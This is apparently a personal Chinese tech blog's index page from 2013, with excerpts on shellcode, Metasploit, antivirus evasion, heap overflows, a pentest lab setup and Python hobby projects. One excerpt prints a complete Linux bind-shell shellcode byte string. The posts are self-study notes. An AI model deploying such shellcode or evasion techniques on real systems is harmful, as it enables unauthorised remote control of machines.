发表于
2013-08-26 00:00:00
Win32 shellcode 管窥
Win32 shellcode 管窥本文讨论下win32 shellcode。什么是shellcode？参见维基百科，想要翻译下结果一直没翻译。简单说下，就是一段测试漏洞的代码，可以控制计算机、干坏事等等等等。。。这段代码一般通过某种手段注入到有漏洞的程序内存空间中，运行并向攻击者提供一个控制台。shellcode通常但也不总是为了获取一个shell，但获取一个shell是获取计算机控制权的一流方式。如何编写shellcode？在windows中，不要指望像linux下那样用系统调用直接和内核交互，因为windows的系统调用一直在变化，也没有好的文档。windows下把一些函数放到了dll链接库中，当程序运行时，这些dll库被载入到当前程序的内存空间中。调用这些函数只要知道这些函数的地址就行了。可是，每一个windows版本甚至一个补丁都会让这些地址变化。但kernel32一定会被加载到内存空间中去，kernel32.dll的地址在一个叫作PEB的块中却比较固定，于是人们就搜索PEB来找到kernel32.dll的地址。找到kernel32的地址之后，可以通过输出表(Export Table)搜索和解析之中所有的函数地址。尽管有些dll并不像kernel32一定会加载到程序内存空间中，却可以解析kernel32中的LoadLibraryA来载入它们，然后通过同样的解析函数方法来解
...继续阅读
(43)
发表于
2013-08-21 00:00:00
新的旅途？
~/Work/project/shellcode ⮀ ~/metasploit-framework/msfconsole
______ _ _ _____ _________
| ___ \ | | | | | __ \ |____ ____|
| | | | | | | | | | | | | |
| |__| | | | | | | |__| | | |
| __ | | | | | | ___/ | |
| | | | | | | | | | | |
| |__| | | |___| | | | | |
|_____/ \______/ |_| |_|
=[ metasploit v4.7.0-dev [core:4.7 api:1.0]
+ -- --=[ 1131 exploits - 638 auxiliary - 180 post
+ -- --=[ 309 payloads - 30 encoders - 8 nops
msf > use exploit/bupt/cleader/happy_hacking
m
...继续阅读
(17)
发表于
2013-08-13 00:00:00
Notes on Anti-virus Evasion
Ok, This article is about why and how can you bypass antivirus softwares when you are using metasploit payloads. First of all, I’d like to emphasize the following things:Don’t be stupid. Do anything at your own risk.There is nothing too hard to learn. If you find something really hard to understand.Try harder, you may lack of some necessary requirements, please refer to References section yourself.There are lots of Unix tools to use for linux, so I use gentoo linux as my experiment environment. You can use anything you like.I’m not a native English speaker, but I hope this article is interesti
...继续阅读
(14)
发表于
2013-08-03 00:00:00
堆溢出之Heap Unlinking
加上原书写得非常简略晦涩，很多内容我是一知半解的，在这里就不继续这部分了红黑联盟网站中shellcode之五：堆溢出一文关于shellcoder’s handbook堆溢出部分评价这块那本善良人手册写得实在是太晦涩了，我实在是没看懂Oilbeater 的部落格上关于shellcoder‘s handbook堆溢出部分评价好吧，某个夏夜里对着计算机发了半个小时的呆也没有看懂作者在干什么。本来在挖财宝书中听说在linux下现在想Unlinking几乎不可能了，确实经过实验我的机器会抛出sigabrt之类的异常强行终止程序。不过探寻和了解下先前的黑客们如何不按规矩做事是很有意思的事情。最后上网搜了搜算是弄明白些了。现记如下，希望对其他人有帮助。很悲剧的是，接下来我要说的还是只关乎linux的事情，关于windows下的堆溢出搞得似乎很复杂，对windows一窍不通的我只能看着复杂的各种结构长叹一口气，默默隐去，深藏功与名。已分配和可分配内存结构先说堆溢出为什么会发生在linux下，在glibc中有一个内存分配的malloc实现，linux下系统分配内存则是通过malloc调用brk和mmap来实现的。好吧，具体怎么实现先不管它1，就当它一块一块的把内存分配出来，并将元数据和内存数据放在一起。首先声明：下面所有的ascii图每行都是四个字节，然后地址由上向下递增。内存的元数据和实际的数据保
...继续阅读
(10)
发表于
2013-07-26 00:00:00
Shellcode: 暗黑魔咒
警告：写的匆忙，里头有好多通甲字，作者实在懒得去辨认哪个字是对的，也许会满满修改吧，也许再也不会回头看了。另外，其实整个shellcode都来自那啥挖财宝的艺术一书，本文只是备忘、读后感、总结、笔记等诸如此类的东西，不算啥原创教程、葵花宝典、用户手册一类的高级货，所以很低端基础下档次，请大婶们轻喷:(\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x66\x58\x99\x31
\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43
\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd
\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52
\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9
\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52
\x89\xe2\x53\x89\xe1\xcd\x80某个不知名的暗黑魔咒之shellcode引子多年之后，人们想起
...继续阅读
(26)
发表于
2013-07-22 00:00:00
建立渗透测试实验环境
用虚拟机建立Host-only靶机内网警告：这是一篇备忘性质的渣指南，不是详尽地教授如何做1+1的用户友好文档。请勿抱太高期望。大体上原因是忽然觉得metasploit很好玩，可是没有用来实验的机器。在互联网上四处破坏的行为又不可取，我又不想花费什么(也买不起……)买一大堆机器在家中连内网玩(好吧也放不下这么多机器).由于现在虚拟技术很成熟，因此想用虚拟机搭建个渗透测试环境(好吧，说这么高端洋气其实就是个playground)。对所有新手来说，一个简单的渗透目标对入门并保持兴趣非常重要，幸运的是，总有人已经做过这些事，你可以搜寻到rapid7团队配置好的充满漏洞的metasploitable系列目标机器镜像，还有UltimateLamp。但总有些事在法律上有些人不能做，你需要自己付费购买一个合法的License来安装Windows XP。如果你在下载和搜集资料上遇到问题，可以参见本文的最后部分，如果还有问题，别忘了google是个好东西。另外，大致哪国法律都不会容忍人在未经许可的情况下对他人正在运营的机器和网络环境实行破坏性的渗透测试，所以，别犯傻。想试试具有破坏性的技术，自己搭建个内网玩。配置要求有些地方写的要求很高，其实用不着太高，但起码得有个支持虚拟技术的cpu。我的是i3，用着就不错.内存要求至少两G，你得经得起同时运行两三个虚拟机吧。如果宿主机内存太小，即使一个虚拟机只分
...继续阅读
(37)
发表于
2013-07-02 00:00:00
发表于
2013-06-09 00:00:00
Hacking: the Art of Exploitation
This book’s C part is very fascinating. Along with the author, you can actually achieve a set of note take and search tools for multiuser, and an interesting game. What’s more, some linux/unix knowledge will be learned.So I tried it.To try these interesting things written in five years ago is not easy on my x86_64 gentoo linux. There are tons of difference and I’m always confused by what I don’t know. However, I was so happy with such interesting things after so much pains.This book makes C fascinating to me! I’m so desired to be a C hacker!Thanks to the author–Jon Erickson! Even too simple an
...继续阅读
(37)
发表于
2013-06-01 00:00:00
Recent Summary
这里越来越不是技术博客了，越来越像博主个人的记事本而不像分享技术的地方了。总之，由于身体健康的考虑和对妹子的向往等一系列原因，我坚定地决定珍爱生命，远离计算机。但对一个热衷于折腾的人这项正确伟大光明的方针就是空头支票，实践的一点也不好。最初还好，天天往返于图书馆一教与寝室，一天不怎么回去。忙着看妹子，看书。看看《别逗了，费曼先生》，对费曼真是崇拜得五体投地。然而愈发的感觉到自我的平庸和碌碌无为。考研后的学习最近忙着看《Hacking：the Art of Exploition》,感觉里面讲C语言的部分太好了，深浅合适，不会像C语言圣经那么假设您已经有一定深度，也不会像国内的一堆C教材把简单的语言搞得复杂到让人望而却步。作者从最最基本的程序设计思想开始讲，循序渐进地引入C的语法和概念，精巧的例子相当助于理解而且充满意趣。更重要的事，结合着一些基本的汇编讲解让人对C的理解有了更高的高度。1我觉得任何一本优秀的教材、一篇优秀的教程，一份优秀的文档，都具有该书作者那种平易近人，循序渐进，深浅适度并且充满着意趣和爱的风格。可惜，天朝几十年的教育风格简直就是为了毁掉人们对丰富多彩科学与艺术的热爱。汇编语言我觉得到此为止，那本《Professional Assembly Language》也是一篇优秀的教程，清晰、平易、深入浅出，注重实践。当把一本书大部分汇编代码在我的Linux机器下实践后我决
...继续阅读
(21)
发表于
2013-05-16 00:00:00
我是如何浪费生命
毕业季，把毕设某Goldstein算法和FFT最小二乘算法实现后就扔了，借了一大堆逆向汇编调试的书。我想让大家看看我是如何瞎折腾最终浪费生命一事无成的，请大家从这个反例中吸取经验教训，珍爱生命，远离折腾。专心赚钱和把妹，别搞些没用的。中国谚语Gray Hat Python跳坑从一本Python灰帽子开始，因为对Python的熟悉和兴趣加上某种机缘巧合，从图书馆借来看了一阵。首先是开发环境的搭建，据作者说搭建开发环境是个痛苦而无聊的过程。对新手很棘手、很消磨斗志和耐心。但对我这样已经在Linux下被虐过多少遍的人完全没感觉了，即使在windows上也轻车熟路装好Python。唯一不爽的地方在于，作者说windows下调试乐趣横生所以不考虑linux，我只好装了个虚拟机xp玩。当然，作为有个性的Linuxer，我的做法是在linux宿主机编辑文件共享给windows虚拟机用，真尼玛蛋疼。接着就是些基本理论，通过这本书我第一次发现原来Python和C集成的这么好，于是把Python C API翻译了一遍……后来在《Unix设计艺术》中看作者说Python最开始设计就是为了跟C集成……总之，Python强大的C外挂= =。但总有些不舒服的地方，尼玛Windows和Unix函数参数进栈顺序……再往后是调试器设计的基本知识，卧槽啊，第一次了解CPU，那个看得一愣一愣的，几次差点睡着。最后看了好
...继续阅读
(27)
发表于
2013-05-13 00:00:00
毕业季，青春的尾巴
转眼又是一年的五月中旬，我都不能记起之前的三年五月是什么样，我干了什么，想些什么，爱过什么，恨过什么。只是这个五月，笼罩在无所事事的清闲和对未来捉摸不定的焦虑气氛中。毕业论文导师说，五月末就交终稿了。然而一个字也不想写。下雨的某天和室友去教室写了点论文，把绪论写完又写了一堆原理。相比一群复制粘帖的同学我竟然一直能自己有的写……只是Goldstein算法实践了之后再也不想做什么了。Coursera还有就是跟Coursera上课程，总有人喜欢做些没用的事。我觉得真该找些家教兼职出去丰富下社会经验换点外快，然而，总有些残想，唉。认认真真地开始跟Coursera上的machine learning课程和High Performance Scientific Computing. 后来看到Introduction to data science和一门类似营养与健康的课。最后，Introduction to data science作业难度实在够呛，营养健康感觉太欧美化了。最终只跟了前两门课。结果High Performance Scientific Computing课程在讲到使用Amazon Aws云服务时我跪了，尼玛屌丝没有信用卡……Machine Learning在Coursera上比较简单，略过了让人抓狂的数学推导而集中精力讲解怎么实际实现算法和解决问题，主要用matlab或octa
...继续阅读
(30)
发表于
2013-04-27 00:00:00
夜色
晚上又一个人独享了JNU摄人心魄的绝美夜色。从操场向东远望城市灯火映红天空，一轮初生的圆月，像一枚猩红的宝石，静悄悄凝视着大地。好像用画笔把那份惊艳记录下来。这样的春夜将不多， JNU剩下的每个日子都将弥足珍贵。回到学校这段日子，也许将是‘空前觉后’的安逸日子。然而这安逸平静的日子却弥漫着难抑的忧伤，朦朦胧胧，好像江南氤氲的湿气一样，即使在明媚祥和的春日里，也渗透得无处不再。十六号回学校，今天二十七，除了些零零碎碎的事(比如面基。。)这十一天我开了几个线程：回来在导师面前晃了下，表示我回学校了，又问了问发现毕设难度又被降了一个等级。又把那之前在家写的不堪入目的添加branch cuts的七层for循环重新调试好了，结果今天发现去包裹算法有问题，竟然会出现2 pi整周期偏差，好吧，在老师面前还吹嘘简单……1当我看到girl-atlas这个有魅力的网站时，第一反应是把喜欢的写真集下载下来。结果这站用的竟然是什么城通网盘，翻越教育网的代理环境下根本无法下载。然后……竟然习惯性的打开page source细细查看，然后很熟练的写起来脚本抓图……后来，就诞生了这货girl-atlas.py，用来断断续续下了2.36G的写真图片。开始看图书馆里借来的《python灰帽子》,饶有兴趣地在虚拟winxp下动手用Python实现一个简单的调试器。我就不说这本书错误多多了，算是明白豆瓣评分为什么这么低
...继续阅读
(20)
发表于
2013-04-16 00:00:00
C接口(译)
发表于
2013-04-12 00:00:00
Hello, A Dream towards BUPT
不要相信我说了什么，我所说的未必是事实，你也未必能理解成事实。总之，经历过回头看就自知了。莫听穿林打叶声，何妨吟啸且徐行。竹杖芒鞋轻胜马，谁怕，一蓑烟雨任平生。料峭春风吹酒醒，微冷，山头斜照却相迎。回首向来萧瑟处，归去，也无风雨也无晴。苏轼，定风波目录初试缘起复习考试复试体检笔试面试政面总结致谢初试我不记得为什么会做出这些选择，如果非要找个理由。正如Steve Jobs2005年在斯坦福大学演讲时所说的，I follow my heart.缘起因为那本叫《Debian标准教程》的书作者曾是byr linux版版主？看过一本讲TeX的书的作者提到了byr？然后我来到了byr linux版……然后接到母亲的电话说可以考北邮，北邮的光学好……我说好啊……然后准备选通信原理作为专业课，因为我想跨考通信。买了本书，看了两个月不知道什么玩意……论坛上有人说，喜欢编程考信安吧，考804信号与系统简单。复试无所谓，大家都不会。然后不知道为什么我就做了这辈子可能都无法理解的选择……我好像喜欢的不是编程……复习八月初说准备考研吧。买本新东方乱序版单词，结果背了一半不到……然后，没有然后了，忘干净了。开始准备复习高数，李永乐全书还是从学长那要的去年的。这么断续看了一个月，被虐得不轻。好像题目就没有会做且做对的。最后我只看例题了……专业课一两个月看完了，于是扔掉了……买本政治吧，大纲解析真贵。我觉得应该最
...继续阅读
(24)
发表于
2013-04-07 00:00:00
二维相位去包裹：路径积分法
发表于
2013-03-24 00:00:00
一维相位去包裹：原理与仿真
发表于
2013-03-13 00:00:00
Advanced Python Constructs(译)
高级Python结构原谅渣翻译，可能仅仅是给我自己看的。本来多年(也就几个月吧)之前将此文投递到OSChina翻译频道结果被以代码太多为由被拒，于是译者只好用自己的渣英语渣水平翻译给自己看了……，期待各路大婶们指正……翻译自http://scipy-lectures.github.com/advanced/advanced_python/index.html作者: Zbigniew Jędrzejewski-Szmek这章有关Python中被认为高级的特性——就是说并不是每个语言都有的，也是说它们可能在更复杂的程序或库中更有用，但不是说特别特殊或特别复杂。强调这点很重要：这一章仅仅关于语言自身——关于辅之以Python的标准库功能的特殊语法所支持的特性，不包括那些智能的外部模块实现。在开发Python程序语言的过程中，它的语法，独一无二。因为它非常透明。建议的更改通过不同的角度评估并在公开邮件列表讨论，最终决定考虑到假设用例的重要性、添加更多特性的负担，其余语法的一致性、是否建议的变种易于读写和理解之间的平衡。这个过程由Python Enhancement Proposals(PEPs)的形式规范。最终这一章节中描述的特性在证明它们确实解决实际问题并且使用起来尽可能简单后被添加。目录迭代器(Iterators), 生成表达式(generator expressions)和生成器(g
...继续阅读
(16)
发表于
2013-03-11 00:00:00
Quickstart Ebuild Guide
快速ebuild向导这页是个非常简洁的ebuild写作指南。它不包含许多开发者面临的细节和问题，而是给出足够用来理解ebuild如何工作的微小的例子。为了正确的涵盖所有来龙去脉，参见Ebuild Writing。General Concepts章节也很有用。注意这里的例子，虽然基于真实的ebuilds树，但有些部分大刀阔斧的修剪、更改和简化了。第一个Ebuild我们从Exuberant Ctags工具开始，一个代码索引工具。这时一个简化的dev-util/ctags/ctags-5.5.4.ebuild(你能在主目录下找到真实的ebuild)# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: $
EAPI=4
DESCRIPTION="Exuberant ctags generates tags files for quick source navigation"
HOMEPAGE="http://ctags.sourceforge.net"
SRC_URI="mirror://sourceforge/ctags/${P}.tar.gz"
LICENSE="GPL-2"
SLOT="0"
KEY
...继续阅读
(22)
发表于
2013-03-07 00:00:00
Image to CSS
Image to CSSWarning： 我警告过了，浏览器弱爆了的就不要点开了= =。内存太小了就慎重打开= =眼残，竟然看到这种奇葩的演示看了看CSS源码，想起来可以用Python Image Library做一个generator。结果就真得做了一个……Codes#! /bin/env python# -*- coding: utf-8 -*-"""Script to turn image into css"""importImageimportsys__author__="Reverland (lhtlyy@gmail.com)"defgetcss(im):"""docstring for get"""css="""position: absolute;top: 30px;left: 30px;width: 0;height: 0;box-shadow:"""string='%dpx%dpx 0px 1px rgb%s,\n'foryinrange(0,im.size[1],1):forxinrange(0,im.size[0],1):ifim.size[1]-y<=1andim.size[0]-x<=1:string='%dpx%dpx 0px 1px rgb%s;\n'color=im.getpixel((x,y))css+=string%(x,y,color)retu
...继续阅读
(47)
发表于
2013-03-02 00:00:00
Python小练习:追踪导弹仿真
Python小练习：追踪导弹仿真警告：浏览器可能不支持html嵌入标签，那么很抱歉什么视频也看不到。建议使用最新稳定版的firefox/chromium仿真的时候面向对象会很方便。缘起某天终于没有雾霾的时候，我在操场上追赶正在散步的父亲……然后，我就想多了= =跟踪导弹是个什么轨迹呢？仿真首先把问题简化下，如果从圆心开始追赶圆上匀速运动的物体，是什么情况。我先自己设法用微分笔算了算，发现实在搞不定。上网查查导弹问题看到一些简单的直线问题，都涉及一堆微分方程和欧拉法迭代啥的……干脆自己仿真下吧。这是最初的版本，完全没有面向对象概念。前半部分调整图像的代码完全可以不看，从while循环开始即可。importmatplotlib.pyplotaspltimportnumpyasnptolerance=1e-1radius=np.piv_o=20x_o,y_o=0,radiusx_m,y_m=-radius,0v_m=5plt.figure(figsize=(10,10),dpi=80)plt.title(" missile flight simulator ",fontsize=40)plt.xlim(-4,4)plt.ylim(-4,4)#plt.xticks([])#plt.yticks([])# set spinesax=plt.gca()ax.spines['right'].se
...继续阅读
(22)
发表于
2013-02-25 00:00:00
Generate Ascii Images Like the Matrix
Generate Ascii Image Like the MatrixInspired bythis online image to text converterandthis post on Oschinascript hosts atgithub. Poor hack, Any advice is welcomed.Edit: Oooops, Demo sucks on my site, it’s perfect if you generate an alone html file.look hereandhereDemo有有有有有有有有有有有有有有有有有有有有会有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有会只有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有的的的经有有有有有会十只只了有有有有有有有有有有有有的经有有有有有有有有有有有有有有有有有有有有有有有有有有有有验有有有有有会到只只只有有有有有有有有有有有有的经有有有有有有有有有有有有有有有有有有有有有有有有有有有有的有有有有有只到了只说有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有有经有有有有有只了十五的验的会有有有有会有有验的的有有有有有有有有有的的经的的经有有有有有有有有有有有有有有的有有
...继续阅读
(13)
发表于
2013-02-19 00:00:00
Yet Another PhotoMosaic Generator
发表于
2013-02-05 00:00:00
Python小练习：可视化人人好友关系
发表于
2013-01-28 00:00:00
Visualize your shell history
Visualize Shell History注：代码写得很烂，不过感觉挺好玩所以写在这里。欢迎各路大牛指教。完整代码见github/reverland/scripts/tagcloud.py曾经在linux用户中流行这么一个命令~ ⮀ history | awk '{CMD[$2]++;count++;} END { for (a in CMD )print CMD[ a ]" " CMD[ a ]/count*100 "% " a }' | grep -v "./" | column -c3 -s " " -t |sort -nr | nl | head -n20
1 852 24.3012% sudo
2 376 10.7245% pacman
3 163 4.64917% vim
4 133 3.7935% tsocks
5 101 2.88078% cd
6 95 2.70964% kill
7 88 2.50998% eix
8 70 1.99658% python2
9 70 1.99658% emerge
10 69 1.96805% ls
11
...继续阅读
(14)
发表于
2013-01-26 00:00:00
Data Analysis with Open Source Tools
基于开源工具的数据分析这是书评，不仅仅是书评。事实上，这本书我还没看完。考研之前大概两个月时偶然在图书馆外文图书阴暗的角落发现了这本书，然后考研复习平常上课都被我扔了，连续一周徜徉在数学和计算机的世界里。再往后？大概到十四还是十五章被迫准备研究生入学考试去，直到现在还没拾起来。后来在一楼看到有中文图书，感觉翻译的不错，起码比我自己理解的好。就换了本中文的带回家来看。废话很多？不是么？好吧这篇书评和书的内容没什么大的关联，满篇只因为我又想胡扯了。Amazon上对这本书的评价：Very Insight。Too insight 以致于我真想跑跑题。系统与文化从书上的一个故事说起。作者建议数据分析工作人员和科学家用Unix系统工作，为此专门举了个例子：True story: I needed to send a file containing several millions of keys to a coworker.(The company did not work on Unix.) Since the file was too large to fit safely into an email message, I posted it to a web server on my desktop and sent my coworker the link. (I dutifully
...继续阅读
(14)
发表于
2013-01-13 00:00:00
Hello, Gentoo
发表于
2013-01-06 00:00:00
总结和展望之2012
警告：以下内容建议别看，保护好节操和三观The way a crowShook down on meThe dust of snowFrom a hemlock treeHas given my heartA change of moodAnd saved some partOf a day I had rued.两天前在吴都路景观道上一个人走着，飘落的大雪和忽然鸣叫的乌鸦，那时那刻的情境与即将考研结束的欣喜心情，这首诗好像水到渠成似的被忆起，美丽的诗句长久地回荡在心中。即将从大雪滚蛋的欣喜与对景物朋友的怀念感伤，即将了却一段心事的轻松与名对不可知的未来的紧张，对舍我其谁的自信与琢磨不清无法战胜的自卑，欲闯荡天涯的决心与对家人的眷恋与羁绊，万千情愫，在万籁俱静的夜里，在惨惨淡淡的昏黄路灯下如满天飞雪一般交织，模糊，空灵而渺远。感觉好像要融化在无边无尽的夜中，失去自我与世界的界限。目录总结2012概述我做了什么网站翻译计算机语言数学图像处理考研复习创新项目其它展望2013三件事毕设工作考研一些基本原则和观点基本矛盾总结2012概述一年时间，试着更懂自己，试着追寻自己都不知道的梦。凄凄惨惨一个人的折腾。半年时间，在家的时间只有半个月，家是永远不能忘却之痛，不能隔断的羁绊。四个月时间，准备考研去帝都一所从未去过，之前从没想过的大学。只因为，莫名其妙的上了byr的linux版。这一年，在考
...继续阅读
(29)
发表于
2012-12-02 00:00:00
python小练习：网络视频下载
发表于
2012-11-19 00:00:00
Flask驱动的静态站点生成器(译)
翻译自：Dead easy yet powerful static website generator with Flask纯意译……以下是正文，和jekyll很像的感觉，哈？34行代码完成一个静态站点生成器。我想将我的在线身份统合到一个单独的托管地方很久了，因此有了你现在浏览的这个网站。我也寻找一个静态网站架构有段时间了，尝试了许多但一个也不中意。这真令人沮丧。然后遇到Armin Ronacher的这个tweet：Frozen-Flask is really, really useful. Should have used that earlier.— Armin Ronacher (@mitsuhiko)February 6, 2012Armin是Flask这个Python微框架的作者，我喜欢flask的简洁。所以这个tweet一个机灵，我便开始探索Frozen-Flask的玩法。Frozen-Flask将Flask应用_冻结_成静态文件，这样你能够高速而无痛地部署它们。再佐以Flask-FlatPages，你获得了完美的生成静态站点工具集，这个站点将有所以你使用框架能得到的特性。酷的urls和简单的路径管理强大的模板本地动态服务静态版本管理第一轮：项目搭建在新文件夹中创建个新的virtualenv，使用pip安装必要的包：$ mkdir sample_projec
...继续阅读
(17)
发表于
2012-11-12 00:00:00
使用Numpy和Scipy处理图像
